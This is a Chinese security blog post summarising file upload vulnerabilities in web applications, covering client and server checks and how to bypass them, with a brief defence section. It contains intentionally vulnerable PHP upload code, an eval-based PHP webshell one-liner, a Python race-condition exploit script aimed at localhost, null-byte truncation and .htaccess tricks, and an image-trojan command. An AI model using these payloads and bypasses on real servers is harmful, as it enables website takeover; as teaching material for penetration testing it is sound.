\xeb\xfe's Blog.

WEB文件上传漏洞总结

2017/12/11

1. 概述

文件上传漏洞可以说是日常渗透测试中用得最多的一个漏洞,用它获得服务器权限最快最直接。在Web程序中,经常需要用到文件上传的功能。如用户或者管理员上传图片,或者其它文件。如果没有限制上传类型或者限制不严格被绕过,就有可能造成文件上传漏洞。如果上传了可执行文件或者网页脚本,就会导致网站被控制甚至服务器沦陷。,复杂一点的情况是配合 Web Server的解析漏洞来获取控制权或结合文件包含漏洞。此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议。

2. 上传检测流程

通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器接收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般文件上传过程中将会经过如下几个检测步骤:

  • 客户端javascript校验(一般只校验文件的扩展名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 目录路经检测(检测跟Path参数相关的内容)
    • 文件扩展名检测 (检测跟文件 extension 相关的内容)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

3. 客户端校验

这类检测通常在上传页面里含有专门检测文件上传的 javascript 代码 最常见的就是检测扩展名是否合法,有白名单形式也有黑名单形式。

  • 这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21


function CheckFileType()
{
var objButton=document.getElementById("Button1");//上传按钮
var objFileUpload=document.getElementById("FileUpload1");
var objMSG=document.getElementById("msg");//显示提示信息用DIV
var FileName=new String(objFileUpload.value);//文件名
var extension=new String(FileName.substring(FileName.lastIndexOf(".")+1,FileName.length));//文件扩展名

if(extension=="jpg"||extension=="JPG")//可以另行添加扩展名
{
objButton.disabled=false;//启用上传按钮
objMSG.innerHTML="文件检测通过";
}
else
{
objButton.disabled=true;//禁用上传按钮
objMSG.innerHTML="请选择正确的文件上传";
}
}
  • 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测))内容如:只允许传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

绕过方法:

  • 将需要上传的恶意代码文件类型改为允许上传的类型,例如将shell.asp改为shell.jpg上传,配置Burp Suite代理进行抓包,然后再将文件名shell.jpg改为shell.asp
  • 上传页面,审查元素,修改JavaScript检测函数(具体方法:可以使用firbug之类的插件把它禁掉)

4. 服务端检测

4.1. 服务端MIME类型检测

MIME的作用:使客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

服务器端检测文件MIME类型可能的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_FILES['file']['type'] != "image/gif")
{
echo "Sorry, we only allow uploading GIF images";
exit;
}
$uploaddir = './';
$uploadfile = $uploaddir . basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
{
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "File uploading failed.\n";
}
?>
  • 绕过方法

配置Burp Suite代理进行抓包,将Content-Type修改为image/gif,或者其他允许的类型

然后在对应目录生成shell.jpg

4.2. 服务端目录路径检测

  • 上传的数据包中,如果存在path(或者其他名称)等能够操作上传路径的参数,修改该参数配合解析漏洞Get Webshell,测试代码
  • 条件:php版本5.3.4以下;gpc关闭
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);

if(isset($_POST['upload']))
{
$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$file_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
//这里的$_REQUEST['jieduan']造成可以利用截断上传
$targePath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10,99).
date('YmdHis').".".$file_ext;
if(move_uploaded_file($tempFile,$targePath))
{
echo '上传成功'.'<br>';
echo '路径'.$targePath;
}
else
{
echo("上传失败");
}
}
else
{
echo("上传失败");
}
}
?>


4.3. 服务端文件扩展名检测

  • 黑名单检测:
    黑名单的安全性比白名单低很多,服务器端,一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。

黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function getExt($filename){
//sunstr - 返回字符串的子串
//strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
return substr($filename,strripos($filename,'.')+1);
}
if($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else{
$black_file = explode("|","php|jsp|asp");//允许上传的文件类型组
$new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
if(in_array($new_upload_file_ext,$black_file))
{
echo "文件不合法";
die();
}
else{
$filename = time().".".$new_upload_file_ext;
if(move_uploaded_file($_FILES['file']['tmp_name'],"upload/".$filename))
{
echo "Upload Success";
}
}
}
?>

不被允许的文件格式.php,但是可以上传文件名为shell.php_(下划线是空格),IIS支持,linux不支持,详细见下面的特殊文件名绕过描述;

  • 白名单检测
    仅允许指定的文件类型上传,比如仅与需上传jpg | gif | doc等类型的文件,其他全部禁止
  • 绕过方法:

    • 文件名大小写绕过

      用像 AsP,pHp 之类的文件名绕过黑名单检测

    • 名单列表绕过

      用黑名单里没有的名单进行攻击,比如黑名单里没有 asa 或 cer 之类

    • 特殊文件名绕过:

      比如发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式 在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会 被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性

    • 0x00截断

      文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中处理函数中,处理字符串中
      在扩展名检测这大部分都是 asp 的程序有这种漏洞,给个简单的伪代码

      1
      2
      3
      4
      Name = getname(http requests)//假如这一步获取到的文件名是dama.asp .jpg
      Type = gettype(name)//而在该函数中,是从后往前扫描文件扩展名,所以判断为jpg文件
      If(type == jpg)
      SaveFileToPath(UploadPath.name , name)//但在这里却是以0x00作为文件名截断,最后以dama.asp存入路径里

操作方法:上传dama.jpg,Burp抓包,将文件名改为dama.php%00.jpg,选中%00,进行url-decode。


**PHP任意文件上传漏洞(CVE-2015-2348)**该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

演示代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    <?php
/*
move_uploaded_file(string $filename,string $destination)
$destination参数代表得失上传文件移动的最终目的地址
如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,
那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传
*/
if (isset($_POST['Upload'])){
$target_path = WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $_POST['drops'])) {
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}else {
$html .= '<pre>';
$html .= $target_path . ' succesfully uploaded!';
$html .= '</pre>';
}}
else{
$html .= '<pre>';
$html .= 'Your image was not uploaded.';
$html .= '</pre>';
}
}

然后我们上传文件,这里把POST的drops参数利用空字符进行截断

  • .htaccess 文件攻击

    配合名单列表绕过,上传一个自定义的.htaccess,就可以轻松绕过各种检测,该文件仅在Apache平台上存在,.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。该文件的写法如下:

    1
    2
    3
    <FilesMatch "a.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    保存为.htaccess文件。该文件的意思是,只要遇到文件名中包含有”a.jpg”字符串的任意文件,统一执行。如果这个”a.jpg”的内容是一句话木马,即可利用中国菜刀进行连接



    4.4. 服务端文件内容检测

    • 文件幻数检测:

    JPG : FF D8 FF E0 00 10 4A 46 49 46

    GIF : 47 49 46 38 39 61 (GIF89a)

    PNG: 89 50 4E 47

    绕过方法:
    在文件幻数后面加上自己的一句话木马就行了。

    • 文件相关信息检测:

    一般就是检查图片文件的大小,图片文件的尺寸之类的信息。

    绕过方法:
    伪造好文件幻数,在后面添加一句话木马之后,再添加一些其他的内容,增大文件的大小。

通常,对于文件内容检查的绕过,就是直接用一个结构完整的文件进行恶意代码注入即可。

简化的演示代码:

1
2
3
<?php
var_dump(getimagesize("shell.php"));
?>


加上GIF头内容

5. 竞争上传

演示代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个php文件,内容为:

1
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>

当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import os
import requests
import threading

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)

def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)

def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()

if __name__ == "__main__":
threads = 20

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

经过几次尝试后成功成功写入shell

6. 图片木马制作

命令:

1
copy /b 1.jpg+2.php

7. 总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
条件: 寻找一个上传点,查看上传点是否可用。

利用:

首先判断是程序员自己写的上传点,还是编辑器的上传功能

如果是编辑器上传功能,goolge当前编辑器的漏洞


如果是程序员写的上传点

上传一个正常的jpg图片 查看上传点是否可用

上传一个正常的jpg图片,burp拦截,修改后缀为php (可以检测前端验证 MIME检测 文件内容检测 后缀检测)

上传一个正常的jpg图片,burp拦截, 00截断 1.php%00.jpg

判断服务器是什么类型,web服务器程序,是什么类型,版本号多少

利用解析漏洞

防御:::

上传文件的存储目录禁用执行权限

文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本)

不能有本地文件包含漏洞

及时修复Web上传代码(重要)

升级Web Server

参考链接

1. Upload Attack Framework

2. web中的条件竞争漏洞

3. 文件上传总结

4. 截断在文件包含和上传中的利用

5. 文件上传漏洞

CATALOG
  1. 1. 1. 概述
  2. 2. 2. 上传检测流程
  3. 3. 3. 客户端校验
  4. 4. 4. 服务端检测
    1. 4.1. 4.1. 服务端MIME类型检测
    2. 4.2. 4.2. 服务端目录路径检测
    3. 4.3. 4.3. 服务端文件扩展名检测
    4. 4.4. 4.4. 服务端文件内容检测
  5. 5. 5. 竞争上传
  6. 6. 6. 图片木马制作
  7. 7. 7. 总结
  8. 8. 参考链接